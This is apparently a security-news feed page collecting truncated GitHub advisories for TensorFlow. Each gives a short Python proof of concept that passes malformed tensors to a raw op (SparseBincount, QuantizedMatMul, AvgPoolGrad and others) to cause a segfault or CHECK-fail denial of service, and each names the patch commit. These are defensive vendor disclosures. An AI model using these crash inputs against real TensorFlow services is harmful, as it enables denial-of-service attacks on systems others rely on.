Security
Headlines
HeadlinesLatestCVEs

Source

ghsa

GHSA-397c-5g2j-qxpv: TensorFlow vulnerable to segfault in `SparseBincount`

### Impact If `SparseBincount` is given inputs for `indices`, `values`, and `dense_shape` that do not make a valid sparse tensor, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf binary_output = True indices = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int64, seed=-1288) values = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-9366) dense_shape = tf.random.uniform(shape=[0], minval=-10000, maxval=10000, dtype=tf.int64, seed=-9878) size = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.int32, seed=-10000) weights = tf.random.uniform(shape=[], minval=-10000, maxval=10000, dtype=tf.float32, seed=-10000) tf.raw_ops.SparseBincount(indices=indices, values=values, dense_shape=dense_shape, size=size, weights=weights, binary_output=binary_output) ``` ### Patches We have patched the issue in GitHub commit [40adbe4dd15b582b0210dfbf40c243a62f5119fa](https://git...

ghsa
#vulnerability#dos#git
GHSA-vxv8-r8q2-63xw: TensorFlow vulnerable to `CHECK` fail in `FractionalMaxPoolGrad`

### Impact `FractionalMaxPoolGrad` validates its inputs with `CHECK` failures instead of with returning errors. If it gets incorrectly sized inputs, the `CHECK` failure can be used to trigger a denial of service attack: ```python import tensorflow as tf overlapping = True orig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) orig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) out_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) row_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) col_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) tf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping) ``` ### Patches We have patched the issue in GitHub commit [8741e57d163a079db05a7107a7609af70931def4](https://github.com/tensorflow/tensorflow/commit/8741...

GHSA-v7vw-577f-vp8x: TensorFlow vulnerable to segfault in `QuantizedRelu` and `QuantizedRelu6`

### Impact If `QuantizedRelu` or `QuantizedRelu6` are given nonscalar inputs for `min_features` or `max_features`, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf out_type = tf.quint8 features = tf.constant(28, shape=[4,2], dtype=tf.quint8) min_features = tf.constant([], shape=[0], dtype=tf.float32) max_features = tf.constant(-128, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizedRelu(features=features, min_features=min_features, max_features=max_features, out_type=out_type) tf.raw_ops.QuantizedRelu6(features=features, min_features=min_features, max_features=max_features, out_type=out_type) ``` ### Patches We have patched the issue in GitHub commit [49b3824d83af706df0ad07e4e677d88659756d89](https://github.com/tensorflow/tensorflow/commit/49b3824d83af706df0ad07e4e677d88659756d89). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2....

GHSA-vgvh-2pf4-jr2x: TensorFlow vulnerable to segfault in `QuantizeDownAndShrinkRange`

### Impact If `QuantizeDownAndShrinkRange` is given nonscalar inputs for `input_min` or `input_max`, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf out_type = tf.quint8 input = tf.constant([1], shape=[3], dtype=tf.qint32) input_min = tf.constant([], shape=[0], dtype=tf.float32) input_max = tf.constant(-256, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizeDownAndShrinkRange(input=input, input_min=input_min, input_max=input_max, out_type=out_type) ``` ### Patches We have patched the issue in GitHub commit [73ad1815ebcfeb7c051f9c2f7ab5024380ca8613](https://github.com/tensorflow/tensorflow/commit/73ad1815ebcfeb7c051f9c2f7ab5024380ca8613). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/ten...

GHSA-689c-r7h2-fv9v: TensorFlow vulnerable to segfault in `QuantizedMatMul`

### Impact If `QuantizedMatMul` is given nonscalar input for: - `min_a` - `max_a` - `min_b` - `max_b` It gives a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf Toutput = tf.qint32 transpose_a = False transpose_b = False Tactivation = tf.quint8 a = tf.constant(7, shape=[3,4], dtype=tf.quint8) b = tf.constant(1, shape=[2,3], dtype=tf.quint8) min_a = tf.constant([], shape=[0], dtype=tf.float32) max_a = tf.constant(0, shape=[1], dtype=tf.float32) min_b = tf.constant(0, shape=[1], dtype=tf.float32) max_b = tf.constant(0, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizedMatMul(a=a, b=b, min_a=min_a, max_a=max_a, min_b=min_b, max_b=max_b, Toutput=Toutput, transpose_a=transpose_a, transpose_b=transpose_b, Tactivation=Tactivation) ``` ### Patches We have patched the issue in GitHub commit [aca766ac7693bf29ed0df55ad6bfcc78f35e7f48](https://github.com/tensorflow/tensorflow/commit/aca766ac7693bf29ed0df55ad6bfcc78f35e7f48). The fix will be ...

GHSA-4pc4-m9mj-v2r9: TensorFlow vulnerable to segfault in `QuantizedBiasAdd`

### Impact If `QuantizedBiasAdd` is given `min_input`, `max_input`, `min_bias`, `max_bias` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf out_type = tf.qint32 input = tf.constant([85,170,255], shape=[3], dtype=tf.quint8) bias = tf.constant(43, shape=[2,3], dtype=tf.quint8) min_input = tf.constant([], shape=[0], dtype=tf.float32) max_input = tf.constant(0, shape=[1], dtype=tf.float32) min_bias = tf.constant(0, shape=[1], dtype=tf.float32) max_bias = tf.constant(0, shape=[1], dtype=tf.float32) tf.raw_ops.QuantizedBiasAdd(input=input, bias=bias, min_input=min_input, max_input=max_input, min_bias=min_bias, max_bias=max_bias, out_type=out_type) ``` ### Patches We have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0). The fix will be included in TensorFlow 2.10.0. We will also c...

GHSA-9fpg-838v-wpv7: TensorFlow vulnerable to `CHECK` fail in `FakeQuantWithMinMaxVars`

### Impact If `FakeQuantWithMinMaxVars` is given `min` or `max` tensors of a nonzero rank, it results in a `CHECK` fail that can be used to trigger a denial of service attack. ```python import tensorflow as tf num_bits = 8 narrow_range = False inputs = tf.constant(0, shape=[2,3], dtype=tf.float32) min = tf.constant(0, shape=[2,3], dtype=tf.float32) max = tf.constant(0, shape=[2,3], dtype=tf.float32) tf.raw_ops.FakeQuantWithMinMaxVars(inputs=inputs, min=min, max=max, num_bits=num_bits, narrow_range=narrow_range) ``` ### Patches We have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tens...

GHSA-g35r-369w-3fqp: TensorFlow vulnerable to segfault in `QuantizedInstanceNorm`

### Impact If `QuantizedInstanceNorm` is given `x_min` or `x_max` tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack. ```python import tensorflow as tf output_range_given = False given_y_min = 0 given_y_max = 0 variance_epsilon = 1e-05 min_separation = 0.001 x = tf.constant(88, shape=[1,4,4,32], dtype=tf.quint8) x_min = tf.constant([], shape=[0], dtype=tf.float32) x_max = tf.constant(0, shape=[], dtype=tf.float32) tf.raw_ops.QuantizedInstanceNorm(x=x, x_min=x_min, x_max=x_max, output_range_given=output_range_given, given_y_min=given_y_min, given_y_max=given_y_max, variance_epsilon=variance_epsilon, min_separation=min_separation) ``` ### Patches We have patched the issue in GitHub commit [785d67a78a1d533759fcd2f5e8d6ef778de849e0](https://github.com/tensorflow/tensorflow/commit/785d67a78a1d533759fcd2f5e8d6ef778de849e0). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorF...

GHSA-q2c3-jpmc-gfjx: TensorFlow vulnerable to `CHECK` fail in `Conv2DBackpropInput`

### Impact The implementation of `Conv2DBackpropInput` requires `input_sizes` to be 4-dimensional. Otherwise, it gives a `CHECK` failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf strides = [1, 1, 1, 1] padding = "SAME" use_cudnn_on_gpu = True explicit_paddings = [] data_format = "NHWC" dilations = [1, 1, 1, 1] input_sizes = tf.constant([65534,65534], shape=[2], dtype=tf.int32) filter = tf.constant(0.159749106, shape=[3,3,2,2], dtype=tf.float32) out_backprop = tf.constant(0, shape=[], dtype=tf.float32) tf.raw_ops.Conv2DBackpropInput(input_sizes=input_sizes, filter=filter, out_backprop=out_backprop, strides=strides, padding=padding, use_cudnn_on_gpu=use_cudnn_on_gpu, explicit_paddings=explicit_paddings, data_format=data_format, dilations=dilations) ``` ### Patches We have patched the issue in GitHub commit [50156d547b9a1da0144d7babe665cf690305b33c](https://github.com/tensorflow/tensorflow/commit/50156d547b9a1da0144d7babe665cf690305b33c)....

GHSA-2475-53vw-vp25: TensorFlow vulnerable to `CHECK` fail in `AvgPoolGrad`

### Impact The implementation of `AvgPoolGrad` does not fully validate the input `orig_input_shape`. This results in a `CHECK` failure which can be used to trigger a denial of service attack: ```python import tensorflow as tf ksize = [1, 2, 2, 1] strides = [1, 2, 2, 1] padding = "VALID" data_format = "NHWC" orig_input_shape = tf.constant(-536870912, shape=[4], dtype=tf.int32) grad = tf.constant(.0890338004362538, shape=[1,5,7,1], dtype=tf.float64) tf.raw_ops.AvgPoolGrad(orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides, padding=padding, data_format=data_format) ``` ### Patches We have patched the issue in GitHub commit [3a6ac52664c6c095aa2b114e742b0aa17fdce78f](https://github.com/tensorflow/tensorflow/commit/3a6ac52664c6c095aa2b114e742b0aa17fdce78f). The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. ### For ...